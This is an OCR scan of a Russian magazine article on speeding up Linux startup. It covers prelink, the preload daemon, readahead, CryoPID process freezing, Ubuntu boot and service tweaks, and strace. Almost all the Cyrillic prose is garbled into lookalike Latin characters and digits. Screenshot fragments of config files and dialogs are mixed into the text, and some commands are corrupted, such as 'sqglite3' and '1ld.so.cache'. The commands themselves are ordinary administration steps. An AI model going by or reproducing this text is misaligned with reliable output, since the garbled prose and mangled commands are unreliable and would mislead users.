HepacToponHou 3arpy3kor OC, HanoMMHatoLLLEe MOX0A, XKEHLLMHbI MO
Mara3nHam. EcTb 1 cnocobbl BCe 3T0 ONTMMM3MPOBATh, CYLLECTBYET N
NeKapCTBO OT OKMPEHUS MUHIBUHOB, FOe B3ATb HOXMK, UTODbI 0Tpe3aTh Bce

nuwHee? [Tonpobyem pasobpaTtbes.

3aBce BpeMs CyLleCTBOBAHUSA TONCTbIX MUHI-

BMHOB (Nepuoa, 0TCYNTLIBAEMbIi NPUMEPHO
cMomeHTa nosaBnenus GTK+2.X, X Free 4.Xwu
Linux 2.6) 6b110 npuayMaHo HeMaso cnoco6os

yCcKOpeHus 3anycka npunoxeHuii u Bcen OC.

HeKOTOpb\e N3 HMUX y>Xe AaBHO yCNewHo npnMe-
HATCA B NONyNdpHbIX ,D'I/lCTpMG\/TI/lBaX, npyrue
[0 CUX NOpP 3HayaTCcd aKCnepnMeHTaabHbIMU. B
3TOW CTaTbe Mbl NMOCMOTPWUM Ha HUX MOBHMMa-

» 094

TenbHee nonpenesnM, HackoibKo onpashaH-
HbIM MOXET ObITb X npumeHeHne.

NMPEABAPUTEJIbHOE
CBA3bIBAHMUE UJIU PRELINK

Hpe-CB‘FBbIBaHVIe eCTb HN 4YTO NnHOoe, Kak MO,EI,VIdJl/I-

KaLms 3anyckaeMoro gaiina ¢ Lienbio BKoYnTb
B HEro pesysibTaThbl JUHAMNYECKOro CBSA3bIBAHNS
6unbnnotek. Yto aTo 3HAUUT?

B ctapogaBHue BpeMera npunoxeruns boinu
NPOCTbI M MCMOMb30BaNN B CBOE paboTe Bcero
HECKOJbKO JMHAMUYECKM 3arpy>KaeMblX CUCTEM-
HbiX 6rbnnoTek. To bbino BpeMs rocnoncTsa dpop-
MaTa VcrnosHsieMblx Gainos a.out, ocobeHHoCTb
KOTOPbIX 3aKJto4anack B NpefesbHol NpocToTe.
®ainbl a.out Bceraa To4HO 3HaNM, N0 KaKOMy afj-
pecy oHW by ayT 3arpy>keHbl B NaMsaTb Npoliecca, 1
no KkakuM afpecam byyT pacrnonaratbCs UX BHyT-

XAKEP 08 /139/ 10
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peHHMe GYHKLMM, KOHCTaHTbI U T.4. 3Ta 0C0beHHOCTb, C OAHO
CTOPOHbI, laBana UM NPenMyLLECTBO B CKOPOCTY 3arpy3Kkn, a ¢
LLpyroi — co3pasasna npobnembl cocyllecTBoBaHus bubnmo-
Tek B namaTu (4To, ecnv age brbnnotekn BymyT 3arpyxeHbl 8
namaTb no ogHoMy agpecy?). Npobnembl Hago Gbino pelats,
noatoMy nossuncs dopmat ELF (ero cospatenv Ha camom fene
BbIU MOKIOHHMKaMM KHUT TonkmeHa :J), KoTopeii cHUuMan ¢
ncnonHsembix Galinos 0TBETCTBEHHOCTb 3a BbIbop agpeca
CBOEro pa3MeLLleHUs B BUPTyasibHOW NaMaT U nepeknagbian
ee Ha IMHaMuYecknin nnHkoBLUMK. OTHBIHE afpeca 3arpysku
NpUNoXeHnin, 6UBNOTEK M BCEX UX CUMBOJIOB [MepemeHHbIX,
KOHCTaHT, GYHKLMIA T.4.) BBIYUCAANNCH AMHEMUYECKU Ha JTane
3arpysku.

ELF nozsonun UNIX/Linux caenaTb 0rpoMHbii war snepes v
CTaTb CUCTEMOM, CNOCOBHON 3arpy>kaTh U UCMONHATH OrPOM-
HOE KONIMYECTBO NPUNIOXKEHWIA, CIMHKOBAHHbIX C TAKMM e
KonunyectsoM brbnwnotek, be3 Bcakmx npobnem. OgHako ¢ Touku
3peHVs NpoV3BOANTENBHOCTY 3T0 bbin Nposan. Mpoueaypa
AVHaMUYecKoro CBA3blBaHWs o4eHb bbicTpa, 1 Npu 3anycke
NPUAOXKEHWNI, 3aBUCALLMX BCETO OT HECKONbKNX BrbnanoTek,
OHa He BHOCWT B MPOLLECC 3aMEeTHbIX 3aAePKeEK, HO ECATN 3TO
3anyck rpOMO3AKOro NPUIOXEH NS C 3aBUCUMOCTAMM NOPAAKa
50 6nbnunoTek, To 3aepxKa MoxeT bblTb BECbMa CyLLECTBEHHOW
(BN/IOTH 10 HECKONBKMX LECATKOB CeKyHA).

Tak HasbiBaeMoe Npe-cBA3biBaHue HagenseT ELF-dainbl Han-
Bonee BbirofHOM YepTol dopmaTa a.out. 3anyckaemble Gpaitnbl
MoandULMPpYyoTCca Takum 06pa3oMm, YTobbl ye BktoYaTk B cebs
pe3ynbTaT [MHAMUYECKOro CBS3bIBAHWS W, COOTBETCTBEHHO,
3apaHee 3HaTb COOCTBEHHbIE afjpeca B NaMaTu NpoLiecca v He
TPaTWTb Ha VX BbIYMCIIEHE BPEMS B TEHEHNE 3aMyCKa.
[pouenypa npe-cBa3biBaHns bbina NpesnoxeHa cCOTPYAHVKOM
Red Hat Jakub Jelinek eLe 8 2004 rogy 1 oka3anack o4eHb
ya4YHbIM METOA0M MOBbILIEHNS CKOPOCTM 3amycka npunoxe-
Hui. CornacHo TecTaM, oHa MoXeT AaTb NpMpocT, paBHbIt 50%
0T NepBOHAYasIbHO CKOPOCTU 3anycka, a B 0CoD0 TsXenbiX
cnyyanx (OpenOffice, KDE, Gnome) — v toro 6onblue. Mpu 3ToM
I YCKOPEHWSA CUCTEMbI I0CTATOYHO 3aMyCTHTb BCEr0 OAHY
KOMaH/y U HEMHOI0 MOLOXAATh.

[la, 3apeiicTBOBaTL MEXaHW3M Npe-CBA3bIBaHNSA AENCTBUTENb-
Ho npocTo. 114 aToro yxe ynomsaHyTbil Bbilwe Jakub Jelinek
Hanwcan nporpaMmmy nof HassaHueM prelink. OHa gocTtynHa
npakTuyecku B nobom Linux-anctpubytrse, nostomy cobupats
13 VICXOAHWMKOB HUYero He npuaetcs. [1pocTo ycTaHOBM NakeTbl
prelink, ncnonb3ys nakeTHbIN MeHeaXep AMCTprbyTuBa, 1
BbIMOSIHY CAeAyioLLYI0 KOMaHLY:

# prelink -avmR
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# initramfs.conf
¥ Confi ti
4

file for mkind s(8). See initr cenfi5).

@ HODULES: [ mest | netboot | dep | list |
:-gy.t = Add all framebuffer, acpi, filesystem, and harddrive drivers.
: dep - Try and guess which medules to load.

# natboot - Add the base modules, network modules, but skip block devices.
"

# list -
”

HOOULES=dep

Only include modules from the ‘additional medules’ list

#
w BusYBOX: [y | n ]

#
# Use busybox if available.
"

BUSYBOX=y

PefaktupyeM KOHOUIYPaLUWIO YTUNNTI

update-initramfs

ApryMeHTbl KOMaHHOW CTPOKM B 3TOM C/ly4ae 3HauaT ciefyto-
uee:

® v — BHIBOOUTEL OOJIbIIE MHOOPMAIIMM Ha DKPaH;

® a3 — TIONBEPTHYTH IIPEe-CBA3BBAHUID BCe OUMHAPHBEE
darne;

®mM — COXPaHUTH BUPTYAJIBHYD ITaMATh (HYXHO, €Ciu
61bIMOTEK OYEeHb MHOTO) ;

® R — PAHIOMM3VPOBATE [IOPANOK CIENOBaHUSA ydacCT—
KOB IIaMATU (HOBBHJIaeT YPOBEHL 3allUTH OT aTakK Ha

CPHIB CTEKa) .

[Tocne 0KOHYaHWS BEIMOSHEHUS MPUTOXKEHWS MOXHO HAYMHATb
papoBaTtbcs yckopeHuto. 0HaKo CTOUT MOMHUTL 0 HECKObKUX
orpaHuyeHusx:

1. Prelink He cnocobeH yBennynTb ckopocTb 3arpy3ku buHap-
HMKOB, CKoMNUAMpoBaHHbIx be3 onunn -fPIC". K coxaneruio,
Takux bubnroTek 4OCTaTOYHO MHOTO, 0BbI4HO cOOpLYMKM Nake-
TOB HAaPOYHO OTKJIOYAIOT 3TOT dnar A1 yBeMYeHUs Npou3Bo-
LOUTENBHOCTY MPUIOKEHUS;

2. Prelink He ymeeT obpabateiBaTh bbanoTekn npoekTa wine,
noatomy o6 yckopeHun Windows-codta npugetcs 3abbith;

3. HekoTopeble ctatnyeckure brbnnoTeku MoryT nepectaTb
3anyckaTtbes nocne obpabotku prelink;

4. [locne ycTaHOBKMW HOBbIX MPUNOXEHNI v bubnnoTek one-
paLuio NpeanHKMHIra pekoMeHayeTcs NOBTOPUTD.
[nsypnanenus prelink fenaem Tak:

# prelink -au

,El,anee MOXHO TEpPEeTb NMakeT N3 CUCTEMbI.

NMPEABAPUTEJIbHASA
3ArPY3KAWJIN PRELOAD

Xopowunm gononHerneM k prelink ctaHeT gemoH preload,
peanunsyLLnii MexaH3M NpefBapuUTeNbHON 3arpy3ku brbnmo-
TeK 118 4acTo MCMob3yeMbIX NpUNoxeHuii. Pabotas B poHe,
preload aHanu3sunpyeT AeicTBUSA NoNb30BaTENA U COCTaBNRET
CMMCOK Havbosnee 4acTo NCMoNb3yeMbIX NPUIOXKeHNIA. B
JanbHelnweM aTa MHdopMauus npuMeHseTcs ois 3abnarospe-
MeHHOW 3arpy3Kkun NpUAoXeHN 1 HeobxoanmMblx MM brubnroTek
B NamsiTb, bnarogaps YeMy X0N0AHbIN 3aMycK MporpaMmbl
3aHMMaeT HAMHOTO MeHblLe BpEMEHW.

[lemoH preload MoxeT cyLLeCTBEHHO MOBbLICKTL CKOPOCTb 3a-
FPY3KW NPUAOXKEHWI, HO MPOU30MAET 3TO TONIbKO B TOM Clyyae,
€C/IN CUCTeMa OCHaLLleHa A0CTaToYHO bonbluKM 06beMoM
namaTun. [1ea rurabaiita — 310 MUHUMYM, Npu KoTopoM preload

[ WARNING |

> warning

B ycTtaHoBke prelink
ona Ubuntu Het
HeobxoaMMocTu.
3T0T AnCTpUbyTHB
ncnonb3yer
anbTepHaTVBHbI
MeTOo[, Ha3blBaeMbli
DT_GNU_HASH

I peann3oBaHHbIN
Ha ypoBHe KOpHeBOM
Bubnnoteku (glibc).

[INFo

> info

e CBoli BapuaHT
prelink ecTb

n B Mac 0S X. Tam
OH HOCUT NM$
«prebinding».

* Peanusauua preload
ona Windows Hocut
nma «Prefetcher»
(nospHee «Super-
Fetch») v goctynHa,
HaunHas ¢ Windows XP.

e BmecTo
Knaccuyeckom
cucteMsl init,
anctpubyTtre Ubuntu
MCNoNb3yeT CncTemy
napannenbHow
3arpysKku cepBumcoB
upstart, kotopasa
MOXeT CoKpaTUTb
cpefaHee Bpems
MHULManu3aunm
cunctembl go 15-20
cekyHa.

e cryopid.berlios.de —
LOMaLIHAA cTpaHuua

CryoPID.
e people.redhat.com/

jakub/prelink.pdf —
onucaHune Prelink ot

aBTOpOB.
e behdad.org/preload.
pdf — onucanue Pre-
load o1 aBTOpOB.

e www.checkpointing.

org — cnucok M0 ans

3aMOpO3KHM NPOLLECCOB.
e dmtcp.source-

forge.net —
pacnpegesneHHas

CncTteMa 3aMopo3Kn
npoLeccos.
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[ACT BbIUTPbILL, NPY MeHbLINX 06beMax oH Tonbko noMetuaer. MNakeT
preload MoxHO HaliTW B cocTaBe Ntoboro coBpeMeHHOro ancTprnbyTunea,
MO3TOMY AJ151 €70 YCTaHOBKM LOCTATOYHO MCMO/b30BaTh CTaHAAPTHbI
MeHe[Xep NakeTos:

$ sudo apt-get install preload

[Nanee cnepyeT oTpeaakTpoBaTh KOHGUIypaLmoHHbIA dainn /etc/preload.
conf. [leMoH BnosHe cHocHo paboTaeT 1 Npu CTaHAaPTHBIX HACTPOiiKaX,
OAHAKO KaX[bli U3 HAaC MHAMBUAYaNEH U MCMONb3YeT CUCTEMY NO-CBOEMY,
Mo3TOMY, BEPOSTHO, Thl 3axo4ellb nogorHaTs preload nog cebs. Mepeyuncnio
OCHOBHbIe oMLK B cekuum model:

o cycle — yacToTa obpallieHwnii K cucteme ans cbopa cTaTUCTVKK. 3HaveHVe
noymonyanuio — 20 cekyHp,. B bonblunHCTBE CnyyaeB U3MeHSTb ero He
MMeET CMbICNa, 0fHaKO0 eC/v Thl YyBCTBYeLUb, 4To preload BpeAnT Npon3so-
[IMTENIBHOCTY CUCTEMBI, YBENTNYb 3HAYEHNE.

« halflife — 3apaet nHTepBan, no ncteveHuio kotoporo preload byaet
3abbIBaTh HaKoMIeHHyt ctaTucTuky Ha 50%. 3HaueHne No ymonyaHuno —
168 uacos [Hepensa). PekoMeHayeTcs yMeHbLWNTL 3HaUYEHUE TeM, KTO 4acTo
MEHSIET COPT, 1 YBENNYNTL TEM, KTO MOXET MecsLLaMn/rogamu nosib3osarscs
OAHUM 1 TEM e HabopoM NPUIOXKEHN .

e minsize — MyHWUManbHbI pasMep obbekTa [Mporpammel, GubnnoTe-
kn), obpabaTtbisaemoro preload. 3HaueHwre no ymonyaruio — 2 000 000
6anT (okono 2 M6J, nostomy preload He ByaeT BbINOAHATL NpeaBapu-
TeNbHYI0 3arpy3Kky ¢ainoB MeHbLiero pa3mepa. Het 0coboll HyXabl
MeHATb 3T0 3HaYeHVe, oflHaKo ecnu Tebe kaxeTcs, 4To namaTn bygeT
L0CTaTOYHO M A5 KIWKNpPoBaHMA boflee MENKMX MPUNOXEHWNA — YMEHb-
WK 3HaYeHune.

« memtotal, memfree, memcached — 371 Tpv onuMK B3aMOCBSA3aHbI 1
yKasblBatoT Ha noTpebnsaembil preload obbem namatu. [Ing pacyeTtos nc-
nosb3yeTcs crefyowan popmyna: (obuiee konnduecTso namatvx memtotal) +
(namsaTh, pocTynHas npyv ctapte xmemfree) + (kaw x memcached).

Cekums system Takxe COLEPXKUT TPU MHTEPECHbIX A1 HAC ONUMK:

» mapprefix — cnucok katanoros, Galinbl KOTOPbIX AOKHbI ObITE NpeBapu-
TENbHO 3arpy>XeHbl (MMel B BIALY, UTO 3TO He TOIbKO BUHapHWKM 1 BrbaroTe-
KM, HO W Apyrvie Tunbl Gpalinos).

« exeprefix — cnucok kaTanoros ¢ bvHapHbIMU dainamm.

o sortstrategy — cnocob onTyMm3aLmy onepauyii BBosia-BbiBoAa. 3HaueHwe o
ymonuaHuio — 3 (oNTUMU3aLMA Ans XecTKIX AncKos). [1ng TBepaoTeNbHbIX MCKoB
NyyLue BCero NofloiaeT 3HaveHue 1, Ans ceteBbix GaiinoBbIx cucTem — 2.

Ha aToM Bce, MoxelLb nepe3arpy3uts preload:

$ sudo /etc/init.d/preload reload

Kak v nioboit opyroi gemoH, preload BefeT 10rm, KOTOpbIE Thl CMOXeLLb
HalTu 8 dpaiine /val/log/preload.log. HdopMaums o TekyLeM cocTosHUM
preload v ero kawe goctynHa 8 daiine /var/lib/preload/preload.state.

NPEABAPUTEJIbHOE
UYTEHUE UWJIN READAHEAD

Ubuntu, a Takxe HekoTopble fpyrvie coBpeMeHHble ANCTpmbyTrBbI Linux,
ncnonb3yloT cucteMy readahead Bo BpeMs MHMLManu3aummn cuctemsl. Kak v
neMoH preload, readahead 3apaHee 3arpyxaeT HeobXxo1MMble KOMMOHEHTbI
NPUOXEHWIA B ONEPaTBHYIO NaMATb C LLefIblo YCKOpWTL UX 3anyck. PasHuua
3aKsI4aeTcs NMLb B ToM, YTo readahead yacTuyHo paboTaeT BHyTpY siapa
Linux 1 onTMWU3MpoBaH cneLyanbHo A1 YCKOPeHVs npoLiecca MHNULMany-
33Uy CUCTEMBI.

Cuctema ucnonbayetytunuty /sbin/readahead-list, koTopas uutaet daiinsl
/etc/readahead/boot n /etc/readahead/desktop u zarpyxaet nepedncnen-
Hble B HVX Galifibl BO BpEMS MHULMANM3aLmnm cucteMbl. 3Ta npoctasn 1 ad-
beKTVBHas cxeMa, koTopast, 0 HaKo, UMeeT v 04eBUHble HegocTaTku. [leno
B TOM, 4TO Nlobas cTangapTHas ycTaHoska Ubuntu co BpemeHem npetepne-
BaeT M3MEHEHUS B KONIMYECTBE YCTaHOBIEHHbIX V1 3arpy>kaeMbix BO BpeMs
ctapta OC cepsuicos. Cnucku ¢paiinos B 3TOM Clydae CTaHOBATCA HeakTyasb-
HbIMY 1 TpebyioT obHoBReHMs. [apameTp aapa profile no3sonseT nepectpo-
WTb CMUCKV NPeBAPUTENbHO 3arpyxaeMbix ¢parnos. [Ins ero BkioyeHms
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Cold Start vs. Preload Launch Times

conrer [ —

=

2

2 Firefox F W Cold Start
= B Preloaded
i=1

F o -

o
Grome Terminal '

0 s 10 15 20 25 30 35
Time (in seconds)

CokpallleHe CKOPOCTN 3anycka NpU MCNONb30BaHUN
Preload

nepesarpysu cucTemy, BO Bpems 3arpy3ku Haxmu <Esc> ans Bxofia B MeHIo
3arpysunka, ganee Haxmu <e> v obaBb B KOHeL, cri1cka napamMeTpoB 4pa
cnoso profile. Haxmu <b> ang 3arpysku. ViHnumanmsaums cUcTeMsl B pexu-
Me NpodUMpoBaHUS 3aiiMeT BpeMsi, o3ToMy Dyfb roToB noTepreTsb.

3AMOPO3KATNPOLEECCAWUJIN CRYOPID

MHorga nyywmii cnocob yckopuTb 3anycK MpUAOKeHUs — NpoCTo He ocTa-
HaBAVBaTb ero. [1ng MHOrMX loHKKCOMA0B paboTatoLine cyTkamMmn HanposneT
Bpaysep, NnouToBLIN U jabber-knneHTsl — 0bblYHOe feno. Takve NpUNoXeHNs
MPOCTO HET CMbIC/A 3aBepLUaTh, OHW MOTYT MOHAA00MTbCS B t00YI0 MUHYTY.
Taknoyemy bbl He pa3BUTL 3Ty UAeI0 fanblie U He CAeNaTh Tak, YTobbl BMeCTo
0CTaHOBKM MPOLLECCOB VX COCTOSAHME MOXHO DbIN0 Hbl 3aMOPO3NTL, @ No3Xe
— BOCCTaHOBWTb, 13b6aBVB NporpamMMy oT He0bX0AMMOCTY Kax bl pa3
NPOW3BOAUTb CNIOXKHYIO W TPYL0EMKYI0 MHULMANMN3aLMI0 BHYTPEHHErO COCTO-
AHMA? He Mbl nepBble, He Mbl nocnegHve. CryoPID — npoctoe npunoxeHne
)15 33aMOPO3KM NPOLLECCOB U MOC/eaytoLLEro Ux BoccTaHoBneHus. [pora He
TpebyeT npas root v MognduKaLmMmn aapa, paboTtaeT Ha apxuTekTypax x86
namdb4 n, 4To camoe rnaBHoe, He NPYBA3bIBAET 3aMOPOXEHHbIN NpoLecc K
KOHKpeTHOM MalunHe. [Mocne 3aMopo3KM NpoLLecc npespallaeTcs Bo 4TO-TO
BPO/Le CaMOpPacnakoBbIBaKOLLErocs apxu1Ba, Tbl IErKo MOXellb NepeHecT
€ro Ha Apyryto MallnHy v npocTo 3anyctuts. [aket CryoPID ecTb faneko He B
KaxX[oM AuCTpubyTrBe, NO3TOMY ero NpuUAeTCs yCTaHOBUTb CAMOCTOSATENIbHO:

S cd /tmp

S wget http://dagobah.ucc.asn.au/wacky/cryopid-0.5.9.1-
1386.tar.gz

$ tar -xzf cryopid-0.5.9.1-1i386.tar.gz

$ cd cryopid-0.5.9.1/src

$ make

S mkdir ~/bin

S cp freeze ~/bin

[ocne 3Toro MoXHO 3anycTUTbL NPOrpaMMy ciefytoL M 0bpasom:
S ~/bin/freeze mumvsa-odarna pid-nouecca

K'coxanenuio, CryoPID nmeeT Heckonbko Npobaem, BkloUas HemosHyto
NoAAEPXKY COKETOB 1 X-MPUAOXKEHNIA, a TakKe reHepupyeT Mycop B CMCKe
NpoL,eccoB BMeCTO UMeHW BOCCTAHOBEHHOW NPOrpaMMbl.

LUYCTPAA 3ATPY3KAUBUNTU

Ubuntu 6bicTpa, Ha camom fene beicTpa. CKopocTb 3arpy3ku 3Toro 4nucTpunby-
TVBa 0CTaBASIET JANEK0 N03aAW MHOTUE Apyrie NVHYKChHI 1 3acTaBseT 3aBu-
[10BaTb NOKA0HHUKOB BSD-cucTtem. OfHako HeT NpeAenoB CoBepLIEHCTBY, 1
B 9TOM pasfesie Mbl Nonpobyem yCKopuTb YCKOPEHHOE.
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Select the services that you wish to activate:

>

Mail agent (postfix) '
v Delivers your outgoing mail ‘
Mail fetcher (fetchmail)
C/ Downloads your mail from remote accounts|
Multicast DNS service discoved
Power management (acpid)
fl

Power management (apmd)

E Printer service (cups)
i .| Allows applications to use printers

‘ mglose ‘

[elten |

OkHoyvnpaBneHua cepeucamu B Ubuntu

1. OTkntoum TarimayT B grub. Mo ymMmonyaHwmio 3arpy3umk xaeT 3 cekyHAbI,
4TOBbI MONb30BaTENb CMOT M3MEHWTL NapameTpbl 3arpysku. OTkpoii gaiin
/boot/grub/menu.lst, Haliam cTpoky «timeout=3» 1 3amenn 3 Ha 0.
2.0trntoun splash. Ubuntu splash-screen, noka3sbiBaeMbiil Bo Bpems
3arpy3ku CUCTeMbI, MaNoMHGOpPMaTNBEH 1 TpebyeT BpeMs Ha CBOIO 3arpy3ky.
MoaToMy oTKpbiBaeM Bce ToTxe /boot/grub/menu.lst v ybupaem onumn
«quiet» n «splash» M3 napaMeTpoB 3arpysku sapa.

3. Otknioym IPvé. PaHblue nogfepskka noka HeHyxxHoro npotokona |Pvé

B Linux bbina peanusoBaHa B BUAE 3arpy>kaeMoro Mofiysist, NosToMmy Ans

ee OTK/IIoYeHMs TpeboBaNoCh NULLIL CIerka oTpeaakTnpoBaTh daiin /etc/
modprobe.d/aliases. CerogHsa IPvé BLUNT NpAMO B A4PO, NO3TOMY 15 €70
OTK/OYeHMS APy [ofxeH bbiTb NepefiaH NnapameTp «ipvé.disable=1». Coe-
NaTb 3T0 MOXHO, OTpeaakTuposas daiin /boot/grub/menu.lst.

4. OTkn04M NpOBEPKY Ha BBIXOA U3 cnisilero pexuma. Bo Bpems csoei
3arpysku 5ipo BbINOAHAET MPOBEPKY, BbIXOAUT M KOMM U3 CRIAILLLETO PeXXnMa
(suspend) nnw BbiNoHAET 0BLIKHOBEHHYIO 3arpy3Ky. 3aHWMaeT 3Ta Npo-
Lledypa BCero 0fHy CeKyHfy, 04HaKo ee TOXe MOXHO CIKOHOMUTb, A0baBuB
onuuio «noresume» K napaMeTpam 3arpy3ku aapa. EctectBeHHo, Bnafens-
LlaM HoyTOYKOB 3TOr0 AieNaTb He CTOWT.

5. OntuMumanpyit initramfs. 0bpa3 RAM-guncka ncnonb3syetcsa ans xpaHe-
HUWS HU3KOYPOBHEBbIX KoMNoHeHToB OC, koTopble AoMXHbI ObITb AOCTYMHbI
eLle 10 MOHTUPOBaHWSA KOpHEBOI $aiiNoBoli cucTeMsl. [10 yMonyaHuio aToT
06pas coepXnT BCEBO3MOXHbIE KOMMOHEHTHI, Mo06paHHble Ha BCe Crydau
Xn3HKW. bes Hnx 0bpas rpysnTca B namaTb bbicTpee, 4To cnocobeTeyeT
cokpalleHwio obLero BpeMery 3arpyskn cuctemsl. OTkpbiBaem dain
/etc/initramfs-tools/initramfs.conf, Haxogum cTpoky «MODULES=most» n
3aMeHsieM ee Ha «MODULES=dep». [lanee nepecobupaem Bce foCTynHble
06pa3bl TOIbKO C HEOBXOANMbIMU KOMMOHEHTAMM:

$ sudo update-initramfs -k all -u

[Mocne obHoBneHus apa 0bpasbl byayT creHepupoBaHbl aBTOMaTUYECKN.
6. 0TKI04 M HeHy>XHble cepBuchl. [1o ymonuaHwmio 8 Ubuntu akTnerposaHo
MHOXeCTBO GOHOBbIX CEPBMCOB Ha BCe Clydaun Xu3Hu. Bpsaanu tebe HyxHb
OHU BCe, N03TOMY naeM oTkNoyaTe. OTkpbiBaeM System - Administration
- Services v BUAWM CNUcok cepBucoB. Buibop kaHAMAATOB Ha OTKoYeHe
3aBUCUT OT KOHKPETHOM CUTyaLmn, Ho B bonbluvHCTBe cnydaes be3bones-
HEHHO MOXHO MOXepTBOBaTL C/leyioLLNM:

eBluetooth Manager — MeHemxep ycTponucTB Bluetooth
e Check for new hardware drivers — mpoBepka HOBBX BepPCUiL

IPOIIPMEeTAaPHHX OPaiBepoB
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User Data Lo
General Humber of steps 20 ©
View Graphics cache
Paths 4ise for Openoffice.org 1286 0 M8
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+ Language Settings
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+ intemat

o* Somcel || Mep || Back

Ontmummsnpyem paboty OpenOffice.ora

e Evolution Alarm Notifier — curHanmzaTop HPMUXONA MOYTH
B Evolution
e Print Queue Applet — amruieT odepeny rnedaTu

e Tracker — ciyx0ba MoMckKa M MHIEKCUPOBAHNS

7.0TKkN04M aBTOCTApPT HEHYXXHbIX NpuaoxeHuii. Bo Bpema Bxopaa B
CHCTEMY MPOMCXOAUT aBTO3anyck bonbWOoro KoNMYecTBa pa3nny-
HbIX MPUTOXEHWI (B OCHOBHOM 3T0 annneTsl). He BCe OHM HYXHbI,
noaToMy oTkpoi System - Preferences - Applications startup
M yoanv Bce, YTO CUUTACW b HEHYXHBIM (Hanpumep, anniet
bluetooth). 3anyck 0CTaBWMXCA MPUTOXKEHNN MOXHO HEMHOTO
ONTUMU3NPOBAaTb C MOMOLLbI CllefyoLLero Tpoka: 0TpeaakTupyn
CTPOKY 3anycka Ka>A0oro 13 HUX Tak, 4Tobbl OHa NpuHsana npumep-
HO TakoW BUA:

sh -c "sleep 10; exec bluetooth-applet"
sh -c "sleep 20; exec /usr/lib/evolution/2.28/

evolution-alarm-notify"

[1ns kaxaoro cnenytoLLero NpUnoXeH1s YNCo LOMKHO YBENNUYMBATLCA Ha
10. Tak Tl cienaewb 3arpysky DE bonee paBHoMepHONA.

YCKOPAEM 3ANYCK TAXXEJIOBECOB

MHOr1e TAXEN0BECHbIE MPUNOXEHUS, NCTONb3yEMble HaMN MOBCEHEBHO,
CMLWKOM MefLINTESNbHbI M HEMOBOPOTANBLI. HepeaKo Ha 1x 3anycK yXxoauT
Bonblie MUHYTbI, YTO OBOJIBHO CUITbHO Pa3fpaXkaeT v MellaeT CKOHLEeHTpU-
poBaTbCcs Ha paboTe. [onpobyem 3To McnpaBuTs.

¢ OpenOffice.org. 3ToT oduMcCHbIN NakeT pekopAcMeH No noTpebaeHunio
pecypcos 1 HEMOBOPOTANBOCTU, MO3TOMY €10 ONTUMM3aL UK Heobxogrumo
yaenuntb ocoboe BH1MaHue. OTkpbiBaeM Tools = Options, nepexoanm

Kk nogpasfeny «Memory». YctaHaBnvuaeM 3HadeHne «<Number of
steps» paBHbiM 20, 370 yMEHbLUNT pasmep UCTopun oTMeHbl. B cekymn
«Graphics cache» yctanasnusaem 3HauveHune «Use for OpenOffice.

org» B 128, «Memory per object» — 8 20. B nogcekyun «Java» ybrpaem
ranoyky c onymm «Use a Java runtime environment». OntumMmnsauns
no3BOJISeT NOAHATH CKOPOCTb 3aMycKa v BpeMs peakLuu.

o Firefox. OrHenvc — BTopas no ypoBHIO NPOXOPANBOCTU U TOPMO3HYTOCTU
nporpamMma. HaunHeHHas LOCTAaTOYHO HONbLIMM KONIMYECTBOM M1arMHoB,
OHa NpeBPaLLaeTCs M3 OTHEHHOW INCHI B 3aMOPOXEHHYIO Yepenaxy, Ho eCTb
[Ba NyTn ycKopuTb ee 3anyck. [1epBbIi — yAanuTb Bce HeHYXHble U pefKo
1CNOJb3yeMble MiarnHbl. 3To NOAHMMET U CKOPOCTb 3anycKka, v Npon3Bo-
ouTenbHocTb. BTopol — onTuMum3nposats ba3y sqlite, ucnonbsyemyto ans
XpaHeHWs AaHHbIX Npoduns:

$ find ~/.mozilla/firefox/ -name *.sqglite \
-exec sqglite3 {} VACUUM \;

[enatb 370 HeobxoaUMO perynapHo (Hanpumep, pas B Hegesio), Tak kak
©a3bl MOCTOSIHHO PACTYT W 3aXNaMAAIOTCH. 3
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Pewuenne npo61eM C NpUAOHKEHUAMM NP1 NOMOLLK
YTUIUTBI Strace

[IpencTaBb CUTyaUMIO: Tbl MOCTaBWI HOBYIO KJITACCHYIO MPOTY, @ OHa He
3anyckaeTcs unmn be3boxxHo TopMo3unT. VInn ceTeBor cepBUC NagaeT npu
HenoHATHbIX 0bcToaTenbcTBax. [ocagHo! Cutyaumna ycyrybnaerca Tem, 4to
HY B KOHCOJIbHOM BbIBOJI€, HW B J1IOFaX HUYero MHTepecHoro HeT. Ho 1 B 3ToM
C/ly4ae MOXHO NpeanpuHATb PSAa AenCTBUA, KOTOPbIe, eCAM U HEe MOMOTYT
yCTpaHUTbL Npobnemy B 3anycke, TO XOTA Bbl MO3BOAAT COCTABUTbL MPaBUIIbHbI

bar-penopr.

3HAKOMCTBO HbIX BbI30BOB, BbIMOJIHEHHbIX MPOLLECCOM, @ OTCYTCTBUS KaKoro-Hubyab HyxHoro paina;
[epBbIi NOMOLLHMK B TaKOM Cjly4ae — 370 TakXXe MoNyYeHHbIX M CUTHaNoB. Strace MOXeT e B HEKOTOPbIX CAy4asx C NOMoLLblo strace
strace. [1na Tex, KTo BAPYT He 4nTan cTaTbio B MOMOYb B CAEAYIOLLNX CUTYaLNSX: BricTpee, yeM € NoMoLLbIo tcpdump, MOXHO
#1032 2009 rog («TaHubi ¢ 6y6HOM 1 Ha- e €CNIV NPUIIOXKEHMe 0TKa3biBaeTcs paboTaTh 0bHapyxuTb npobnemsl ¢ ceTeBbIMU Nporamu;
NUABHUKOM»], HanoMH1o, 4To paboTa strace “3-3anpobnem c npaBamu; e nNpunpobnemax c puU3nyecknM nnn nces-
3ak/llo4aeTca B nepexsate W 3annucu CUCTeM- o eCNIN NPUITOXKEHVE He 3anyckaeTcs 13-3a poycTpoicTsom [tuna /dev/random unw /dev/
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CokpallleHHasg cTatucTuka strace ang Firefox

audit) strace nokaxeT nocnefHNN He3aBepLIEHHbIN BbI30B;
e €C/IM HAJo OTCeANTh BCe dalinbl, K KOTopbiM obpallaeTcs
npunoxeHue B npotecce paboTbl. 3T0 MOXeT ObITh Mones-
HbIM, HanpuMep, AN cocTaBaeHns npoduna AppArmor
MNW NepeHoca npunoxexuns B cpedy chroot. B npocteliwem
cnyyae BbI30B strace BoIrIaAnT cnefyiolinM obpasom:

$ strace uname

execve ("/bin/uname", ["uname"], [/* 36 vars
*/1) =0

brk(0) = 0x1ed2000

access ("/etc/1ld.so.nohwcap", F_OK) = -1

ENOENT (No such file or directory)

mmap (NULL, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE |MAP_ANONYMOUS, -1, 0) =
0x7fb79£08a000
access("/etc/ld.so.preload", R_OK) = -1
ENOENT (No such file or directory)
open("/etc/1ld.so.cache", O_RDONLY) = 3

